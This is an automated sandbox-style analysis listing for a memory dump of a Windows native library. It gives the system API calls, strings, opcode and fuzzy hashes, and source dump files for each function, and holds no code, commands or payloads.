Opcode ID: 549f61bc2042c8c6605520afad9ee50e102a2d986dcc1d391f717ed714175d06
Instruction ID: 93302a6a6ded70a171aa536914a0108c7b42b81f50f5f0b42ff45b089f388569
Opcode Fuzzy Hash: 549f61bc2042c8c6605520afad9ee50e102a2d986dcc1d391f717ed714175d06
Instruction Fuzzy Hash: 5C5103B0E04641DFFB21CF39C68ABDDBBB1BB86718F1052A9D414A7252D37CA940CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6B5D19C8, Relevance: 7.6, APIs: 5, Instructions: 107nativeCOMMON

Download Yara Rule

APIs

ZwCreateSection.1105(?,000F0007,?,?,00000004,08000000,00000000,00000065,00000000,00000000), ref: 6B5D1A54
ZwMapViewOfSection.1105(?,000000FF,?,00000000,00000000,00000000,?,00000001,00000000,00000004,?,000F0007,?,?,00000004,08000000), ref: 6B5D1A74
memset.1105(?,00000000,000000F0,?,000000FF,?,00000000,00000000,00000000,?,00000001,00000000,00000004,?,000F0007,?), ref: 6B5D1A88
ZwUnmapViewOfSection.1105(000000FF,?,?,000F0007,?,?,00000004,08000000,00000000,00000065,00000000,00000000), ref: 6B5D1AB8
ZwClose.1105(?,?,000F0007,?,?,00000004,08000000,00000000,00000065,00000000,00000000), ref: 6B5D1AC8

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: Section$View$CloseCreateUnmapmemset
String ID:
API String ID: 788617167-0
Opcode ID: 77c0bd51e630a667eaba0cead26d1e37344295029b98cca860612fa6308b154e
Instruction ID: 5fa5415290b9837c999a2d2f7a6e1d0d441e462eba2629d0872498490c83c3e4
Opcode Fuzzy Hash: 77c0bd51e630a667eaba0cead26d1e37344295029b98cca860612fa6308b154e
Instruction Fuzzy Hash: AD311EB5E00229ABEB10CF9EC841EDEFBF9AFD5714F1442AAE910B7250D7744E408B94

Uniqueness

Uniqueness Score: -1.00%

Function 6B543880, Relevance: 7.6, APIs: 5, Instructions: 97memorynativeCOMMON

Download Yara Rule

APIs

TpSetWaitEx.1105(000000FF,?,00000000,00000000), ref: 6B5438B7

Part of subcall function 6B56ECE0: RtlAcquireSRWLockExclusive.1105(?,00000000,00000000), ref: 6B56ED2C
Part of subcall function 6B56ECE0: RtlReleaseSRWLockExclusive.1105(?,00000000,00000000,?,00000000,00000000), ref: 6B56ED90

RtlAllocateHeap.1105(?,00000000,00001030,00000000,?,00000000,00000000,00000000,00001030,000000FF,?,00000000,00000000), ref: 6B5438D1
ZwGetCompleteWnfStateSubscription.1105(00000000,?,00000000,00000000,00000000,00001030,000000FF,?,00000000,00000000), ref: 6B5438F0
RtlFreeHeap.1105(?,00000000,00000000,00000000,?,?,00000000,00000000,00001030,?,00000000,00000000,00000000,00001030,000000FF,?), ref: 6B543914

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveHeapLock$AcquireAllocateCompleteFreeReleaseStateSubscriptionWait
String ID:
API String ID: 2233382-0
Opcode ID: 5d8783afdd9a37e7bcebb12dfc072b460650e14b5b569494414f6fabaed18cbe
Instruction ID: f69a92ed0bd6feff21f539396f5e15a77e468980b8f93bba42435b37778cf363
Opcode Fuzzy Hash: 5d8783afdd9a37e7bcebb12dfc072b460650e14b5b569494414f6fabaed18cbe
Instruction Fuzzy Hash: 34319032E41619AFEB20DFA9C841ADEB7B8EB45750F0145B5F814E7264E7789E01CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6B544A20, Relevance: 7.6, APIs: 5, Instructions: 78memoryCOMMON

Download Yara Rule

APIs

RtlGetCurrentServiceSessionId.1105 ref: 6B544A2A
RtlFreeHeap.1105(?,00000000,?), ref: 6B544AB3

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentFreeHeapServiceSession
String ID:
API String ID: 1159841122-0
Opcode ID: 86dcc7af915ca4e1840b08749cc781b29c614b92821e3c207e29c00dbcdd4354
Instruction ID: 8adb322bd7d43d8fc6b0bb6c356ff4981e04e6cbb2d003ffe9459c3e533186fc
Opcode Fuzzy Hash: 86dcc7af915ca4e1840b08749cc781b29c614b92821e3c207e29c00dbcdd4354
Instruction Fuzzy Hash: F921F831698A009BF7219E27C800BCA37B2EB42764F144AA9D456965F1EB3CA845CB95

Uniqueness

Uniqueness Score: -1.00%

Function 6B5528AE, Relevance: 7.6, APIs: 5, Instructions: 73COMMON

Download Yara Rule

APIs

RtlGetCurrentServiceSessionId.1105(00000000,?,6B6384D8,6B550924,6B6384D8,?,6B6384D8,?,00000000,?,?,?,6B55087C,?,?,?), ref: 6B5528B3
RtlEnterCriticalSection.1105(6B635350), ref: 6B5528DA
RtlGetCurrentServiceSessionId.1105(6B635350), ref: 6B5528E1
RtlGetCurrentServiceSessionId.1105 ref: 6B5A76AF

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentServiceSession$CriticalEnterSection
String ID:
API String ID: 1555030633-0
Opcode ID: 560548d3f46e7fd31392ae2c7279e65546c5f77017251634b033ced1b159b18d
Instruction ID: 4ea3471bf38a777bbf3530f5685dd31eda870f39c4c7b772b38409ddba5d4453
Opcode Fuzzy Hash: 560548d3f46e7fd31392ae2c7279e65546c5f77017251634b033ced1b159b18d
Instruction Fuzzy Hash: E321F9326457809BF31287BCCC04BD437A4AB41B78F1407E1E930AB6E6DB6DDC518311

Uniqueness

Uniqueness Score: -1.00%

Function 6B54F150, Relevance: 7.6, APIs: 5, Instructions: 59nativeCOMMON

Download Yara Rule

APIs

RtlFormatCurrentUserKeyPath.1105(?,02000000,?,00000000), ref: 6B54F15F

Part of subcall function 6B55A3E0: ZwQueryInformationToken.1105(000000FA,00000001,?,00000050,?,?), ref: 6B55A404
Part of subcall function 6B55A3E0: RtlLengthSidAsUnicodeString.1105(?,?,000000FA,00000001,?,00000050,?,?), ref: 6B55A414
Part of subcall function 6B55A3E0: RtlAppendUnicodeToString.1105(?,\REGISTRY\USER\,?,02000000,?,?,000000FA,00000001,?,00000050,?,?), ref: 6B55A443
Part of subcall function 6B55A3E0: RtlConvertSidToUnicodeString.1105(?,?,00000000,?,\REGISTRY\USER\,?,02000000,?,?,000000FA,00000001,?,00000050,?,?), ref: 6B55A469

RtlFreeUnicodeString.1105(?,?,?,?,?,02000000,?,00000000), ref: 6B54F19D

Part of subcall function 6B562400: RtlDeleteBoundaryDescriptor.1105(?,00000000,?,6B5D8405,?,?,?,00000018,00000000,00000000,00000000,00000001,?,?,00000001,?), ref: 6B562412

ZwOpenKey.1105(?,?,?,?,02000000,?,00000000), ref: 6B54F192

Part of subcall function 6B589600: LdrInitializeThunk.NTDLL(6B581119,?,?,00000018,?), ref: 6B58960A

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: StringUnicode$AppendBoundaryConvertCurrentDeleteDescriptorFormatFreeInformationInitializeLengthOpenPathQueryThunkTokenUser
String ID:
API String ID: 1101908438-0
Opcode ID: 57baaa82d6e324a89d07985786ba53894be768421dfacc34ce8261d0e8af2e93
Instruction ID: e587029d33578e97e7c8dfa60573091d21ffc80467297d583cec861cf82c01c1
Opcode Fuzzy Hash: 57baaa82d6e324a89d07985786ba53894be768421dfacc34ce8261d0e8af2e93
Instruction Fuzzy Hash: 9711C972C0022DABDF11DFA6C8858EFFBB9EB88354F014166E914A7210D7399A55CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6B5712BD, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.1105(?,00000000,?,?,-00000001,?,?,?,6B57127D,?,00000000,?,6B59FC21,00000000,00000000), ref: 6B571331
memcpy.1105(00000000,?,?,?,00000000,?,?,-00000001,?,?,?,6B57127D,?,00000000,?,6B59FC21), ref: 6B571350

Strings

`fck, xrefs: 6B57135E

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeapmemcpy
String ID: `fck
API String ID: 1925790395-3263700793
Opcode ID: 2b11e6431ab527984b82fd1d1b1b4ff913643da51690c70d8723f2b4ffdfaca5
Instruction ID: 6605cc55a6e07b563013f8fb9314d92b20777d3bce0026fb07ebe956d660afc1
Opcode Fuzzy Hash: 2b11e6431ab527984b82fd1d1b1b4ff913643da51690c70d8723f2b4ffdfaca5
Instruction Fuzzy Hash: B5216D71600A10DFE734DF29C891B9AB3E9FB45750F00887DE5AEC7651DA38AC40CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6B57D4B0, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.1105(?,00000000,00000000,?,?,?,00000234,00000000,00000000,00000000,?,6B57C8DC,0000000C,?), ref: 6B5BB08F
DbgPrintEx.1105(00000033,00000000,SXS: %s() bad parameters:SXS: Map : 0x%pSXS: EntryCount : 0x%lx,RtlpInitializeAssemblyStorageMap,00000000,?,?,00000234,00000000,00000000,00000000,?,6B57C8DC,0000000C,?), ref: 6B5BB0C0

Strings

SXS: %s() bad parameters:SXS: Map : 0x%pSXS: EntryCount : 0x%lx, xrefs: 6B5BB0B7
RtlpInitializeAssemblyStorageMap, xrefs: 6B5BB0B2

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeapPrint
String ID: RtlpInitializeAssemblyStorageMap$SXS: %s() bad parameters:SXS: Map : 0x%pSXS: EntryCount : 0x%lx
API String ID: 3766636288-2653619699
Opcode ID: 2df57f2cc7b44ac736a99e838830baaba97ecf7f205479e641a92ed34745a430
Instruction ID: 313c1f60b0b5d5fd9f42d5d2d4a517f7185f0cefdf50d3013400147b49ce2e28
Opcode Fuzzy Hash: 2df57f2cc7b44ac736a99e838830baaba97ecf7f205479e641a92ed34745a430
Instruction Fuzzy Hash: 5E1150B1B40214BBFB25EB5CCC91FE773A9DB84B14F2480797A04D7280E6B8DD0083A0

Uniqueness

Uniqueness Score: -1.00%

Function 6B54A63B, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.1105(?,00000000,?,?,-00000001,?,6B5712AD,?,00000000,?,6B59FC21,00000000,00000000), ref: 6B5A4314

Strings

@fck, xrefs: 6B5A4352

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID: @fck
API String ID: 1279760036-1656401927
Opcode ID: 6236b21205182b41b2bd9162626ff39253cc54418953d2f197d662c5c0502ff3
Instruction ID: c99fe8d6261044b064fdd99afeed661c1551f18da1c5f597c98d32fd72cd5093
Opcode Fuzzy Hash: 6236b21205182b41b2bd9162626ff39253cc54418953d2f197d662c5c0502ff3
Instruction Fuzzy Hash: 37110A3B524140DBDB35BF6AC941AA133A5FB87B94B542035E604DB771DB38CC81C320

Uniqueness

Uniqueness Score: -1.00%

Function 6B5D176C, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55nativeCOMMON

Download Yara Rule

APIs

ZwOpenEvent.1105(00000568,00100001,?,?,00000000), ref: 6B5D17B5
ZwWaitForSingleObject.1105(00000568,00000000,?,00000568,00100001,?,?,00000000), ref: 6B5D17E1
ZwClose.1105(00000568,00000568,00000000,?,00000568,00100001,?,?,00000000), ref: 6B5D17EB

Strings

\KernelObjects\SystemErrorPortReady, xrefs: 6B5D178B

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseEventObjectOpenSingleWait
String ID: \KernelObjects\SystemErrorPortReady
API String ID: 2739627308-2278496901
Opcode ID: e9310d671a1f85268a8109ba92b0f788477e6d730fbe1e21966b22fa2104948d
Instruction ID: 2149e25d0033cf39d6e823ecdc9aeb6888e2fcedd692d602a81b535f3b5eb726
Opcode Fuzzy Hash: e9310d671a1f85268a8109ba92b0f788477e6d730fbe1e21966b22fa2104948d
Instruction Fuzzy Hash: 4F113075D1022CAADB10CFA99845AEEFBF8EF89210F10426BE914F3290E7744E05CBD5

Uniqueness

Uniqueness Score: -1.00%

Function 6B54429E, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 51librarynativeCOMMON

Download Yara Rule

APIs

RtlInitUnicodeString.1105(?,\DllNXOptions,?,?,00000000), ref: 6B5442C7

Part of subcall function 6B580F48: ZwOpenKey.1105(?,?,00000018), ref: 6B581015

ZwClose.1105(?,?,?,?,\DllNXOptions,?,?,00000000), ref: 6B5A068E
LdrQueryImageFileKeyOption.1105(?,?,00000004,?,00000004,?,?,?,00000000), ref: 6B5A06A6

Strings

\DllNXOptions, xrefs: 6B5442BE

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseFileImageInitOpenOptionQueryStringUnicode
String ID: \DllNXOptions
API String ID: 166309601-742623237
Opcode ID: 6405ef076b06f406e2fd8410001dd44c311a4372079a121fea9c4a5f9d5f4a94
Instruction ID: ef131fd234a8d144f34f98e08f48e4dbb071e5bd3cc3c3eb85334c721a6b0f6a
Opcode Fuzzy Hash: 6405ef076b06f406e2fd8410001dd44c311a4372079a121fea9c4a5f9d5f4a94
Instruction Fuzzy Hash: 3701F776A00128BBEB10DAA99C01DDF776CEFC5728F1440A6EA04FB141D7349E0683E0

Uniqueness

Uniqueness Score: -1.00%

Function 6B54F4E3, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 15nativeCOMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.1105(6B637B60,00000000,6B5508CF,?,?,?,?,?,?,6B5A0AF4,?), ref: 6B54F4FC
RtlLeaveCriticalSection.1105(6B637B60,6B637B60,00000000,6B5508CF,?,?,?,?,?,?,6B5A0AF4,?), ref: 6B54F509
ZwSetEvent.1105(00000000,6B637B60,6B637B60,00000000,6B5508CF,?,?,?,?,?,?,6B5A0AF4,?), ref: 6B54F516

Strings

`{ck, xrefs: 6B54F4EF

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$EnterEventLeave
String ID: `{ck
API String ID: 3094578987-3598069530
Opcode ID: fa3ef47de5a10bf7eff8d1fba21e445995cd71ba1b2ec13a1296846018000cf0
Instruction ID: 8955384f1f229d28cbb38756c9a4e3fdfbbfd7e98d28c80611334e087acd3f92
Opcode Fuzzy Hash: fa3ef47de5a10bf7eff8d1fba21e445995cd71ba1b2ec13a1296846018000cf0
Instruction Fuzzy Hash: 3DD0A733621275E6FF316F30DC42FF432A4AF45329F101871E602229854B2CAD815A9C

Uniqueness

Uniqueness Score: -1.00%

Function 6B558800, Relevance: 6.2, APIs: 4, Instructions: 179COMMON

Download Yara Rule

APIs

memcmp.1105(6B6384DC,6B521184,00000010,-00000054,?,00000000,00000001,?,6B6352D8), ref: 6B5588A8
RtlAcquireSRWLockExclusive.1105(6B6386CC,-00000054,?,00000000,00000001,?,6B6352D8), ref: 6B558901
RtlReleaseSRWLockExclusive.1105(6B6386CC,6B6386CC,-00000054,?,00000000,00000001,?,6B6352D8), ref: 6B558933
RtlAcquireSRWLockExclusive.1105(6B6386CC,-00000054,?,00000000,00000001,?,6B6352D8), ref: 6B5A9C65

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Acquire$Releasememcmp
String ID:
API String ID: 2792186644-0
Opcode ID: dae0215809d0e40ec880b658561e6d0662ea81435fa407c6792eb9b199cd9606
Instruction ID: 27a195924268138d55c264334459eff38a104bbd1380959626e5460de6b0c7d5
Opcode Fuzzy Hash: dae0215809d0e40ec880b658561e6d0662ea81435fa407c6792eb9b199cd9606
Instruction Fuzzy Hash: 7F51F472E20619DBFF48CF58C4816EE73B1FF85306F0444AAD815AB255D738AA51CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6B60B581, Relevance: 6.2, APIs: 4, Instructions: 163nativeCOMMON

Download Yara Rule

APIs

RtlGetCurrentServiceSessionId.1105(?,?,?,?,00000000,?,?,?,?,?,?,?,?,?,?,6B59FC28), ref: 6B60B6C4
RtlGetCurrentServiceSessionId.1105(?,?,?,?,00000000,?,?,?,?,?,?,?,?,?,?,6B59FC28), ref: 6B60B6F0
RtlGetCurrentServiceSessionId.1105 ref: 6B60B726
ZwTraceEvent.1105(?,00000402,00000004,?), ref: 6B60B75E

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentServiceSession$EventTrace
String ID:
API String ID: 4061387822-0
Opcode ID: 6b5a9ba96efc257f3cdcea9d465027bcb3c36716ad289d87e5b02f087df6d337
Instruction ID: 32f084cb463c33a5b50212d23d25d85695b61d74ac78a534e4e3fc7bac1c56dd
Opcode Fuzzy Hash: 6b5a9ba96efc257f3cdcea9d465027bcb3c36716ad289d87e5b02f087df6d337
Instruction Fuzzy Hash: 8751E8B16047428FE309CF2AC651B96B7E4FF41708F1888A9E9558B291EF39D805CBC1

Uniqueness

Uniqueness Score: -1.00%

Function 6B541AA0, Relevance: 6.1, APIs: 4, Instructions: 123memorynativeCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.1105(?,00000008,00000000,?,00000000,?,?,00000000,C0000017), ref: 6B541B1E
ZwAllocateVirtualMemory.1105(000000FF,?,00000000,?,00002000,00000004,00000000,?,?,00000000,C0000017,?,?,6B5416E0), ref: 6B541B83
ZwAllocateVirtualMemory.1105(000000FF,6B5416E0,00000000,C0000017,00001000,00000004,00000000,?,?,00000000,C0000017,?,?,6B5416E0), ref: 6B541BBD
RtlAllocateHeap.1105(?,00000008,?,00000000,?,?,00000000,C0000017), ref: 6B541BD8

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: Allocate$HeapMemoryVirtual
String ID:
API String ID: 1343662020-0
Opcode ID: ff884249f956a76cbe8466050f7d8afdfb7191b031ec1569717d03b17d0e24ed
Instruction ID: e4f12ff4218777ff29c5ee1497c4289376126c804d7b7b65752b3c06d3c01842
Opcode Fuzzy Hash: ff884249f956a76cbe8466050f7d8afdfb7191b031ec1569717d03b17d0e24ed
Instruction Fuzzy Hash: C7415071A00715EFE724CF99C980ADABBF9FF08700B1049ADE656D7650E374EA14CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6B54F018, Relevance: 6.1, APIs: 4, Instructions: 95memorynativeCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.1105(?,00000008,?,?,00000000,?), ref: 6B54F05B
ZwQueryValueKey.1105(?,?,00000002,00000000,?,00000000,?,00000008,?,?,00000000,?), ref: 6B54F07A
memcpy.1105(00000000,0000000C,?,?,?,00000002,00000000,?,00000000,?,00000008,?,?,00000000,?), ref: 6B54F0AB
RtlFreeHeap.1105(?,00000000,00000000,?,?,00000002,00000000,?,00000000,?,00000008,?,?,00000000,?), ref: 6B54F0CB

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocateFreeQueryValuememcpy
String ID:
API String ID: 125101864-0
Opcode ID: 505cdb4590f4c2fa0a685607fb8905ed14938dcd0161c7b296e56ef626f41d17
Instruction ID: 19400b931584cbb970b1d9d692de43aa75173865754a1c504e52fd78dbf00712
Opcode Fuzzy Hash: 505cdb4590f4c2fa0a685607fb8905ed14938dcd0161c7b296e56ef626f41d17
Instruction Fuzzy Hash: FE31D432600704AFF712CE9CD880FDA73A9DBC5754F1184A9AD1E9B200D778DD41CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6B546730, Relevance: 6.1, APIs: 4, Instructions: 92timeCOMMON

Download Yara Rule

APIs

RtlGetCurrentServiceSessionId.1105 ref: 6B54674F
RtlGetCurrentServiceSessionId.1105(00000001), ref: 6B54677C
RtlDebugPrintTimes.1105(?,?,?,?,00000001), ref: 6B5467B1
RtlGetCurrentServiceSessionId.1105 ref: 6B5467B9

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentServiceSession$DebugPrintTimes
String ID:
API String ID: 286911700-0
Opcode ID: 70dc436a3807a02a5b3df20be466c520d4a252070426ed417f2e8674507f19ca
Instruction ID: 350e817cb3ec04f1141a8b6effd7b2dff061c67ddb341cfc6aaa53aa75fe008b
Opcode Fuzzy Hash: 70dc436a3807a02a5b3df20be466c520d4a252070426ed417f2e8674507f19ca
Instruction Fuzzy Hash: E531AA35615A15AFEB01DB38CA81ACABBB2FF85754F0054A5E80057A64DB79EC30CB81

Uniqueness

Uniqueness Score: -1.00%

Function 6B571DB5, Relevance: 6.1, APIs: 4, Instructions: 87COMMON

Download Yara Rule

APIs

RtlQueryInformationActivationContext.1105(-40000003,?,00000000,00000006,00000000,00000000,00000000,00000000,?,?,?,00000040,-00000054,00000000), ref: 6B571DF7
RtlQueryInformationActivationContext.1105(-40000003,-00000054,00000000,00000006,00000000,00000000,00000000,-40000003,?,00000000,00000006,00000000,00000000,00000000,00000000,?), ref: 6B571E36

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: ActivationContextInformationQuery
String ID:
API String ID: 2130846384-0
Opcode ID: 39ad629a20701d3ed16c14f322ca06b3d590f6998de82038df02d262996ece3b
Instruction ID: ec154b7c6c15d0cb7ad9153417a8d30ddb82e9d8b1ec1b8c18a057d15ee250e7
Opcode Fuzzy Hash: 39ad629a20701d3ed16c14f322ca06b3d590f6998de82038df02d262996ece3b
Instruction Fuzzy Hash: 2A217471740519EBE721DF69CCA0EDBBBBDEF89A84F1140A5E90497210D7389D01C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 6B61F1B5, Relevance: 6.1, APIs: 4, Instructions: 78memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.1105(?,00000008,-0000000B,00000002,00000001,00000000,6B57FE70,00000000), ref: 6B61F1EC

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: d1929d2f45d361ffc6bbfb0a05a5b801d30c87ed293b1b94acca7a3146772f2d
Instruction ID: 0b5af2f91f94b37b4b26d07f97ec0c30a35c579f9f74d5640e00f9b3c906933b
Opcode Fuzzy Hash: d1929d2f45d361ffc6bbfb0a05a5b801d30c87ed293b1b94acca7a3146772f2d
Instruction Fuzzy Hash: 9A21B3BAA08615ABEB218F9DC884F8ABBB4FF46750F0141A5ED149B254D739DD10CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6B573B7A, Relevance: 6.1, APIs: 4, Instructions: 75memorynativeCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.1105(?,?,?,?,7FFE03C0,7FFE03C0,?), ref: 6B573BB0
ZwQuerySystemInformationEx.1105(0000006B,00000001,00000004,00000000,?,?,?,?,?,?,7FFE03C0,7FFE03C0,?), ref: 6B573BCF
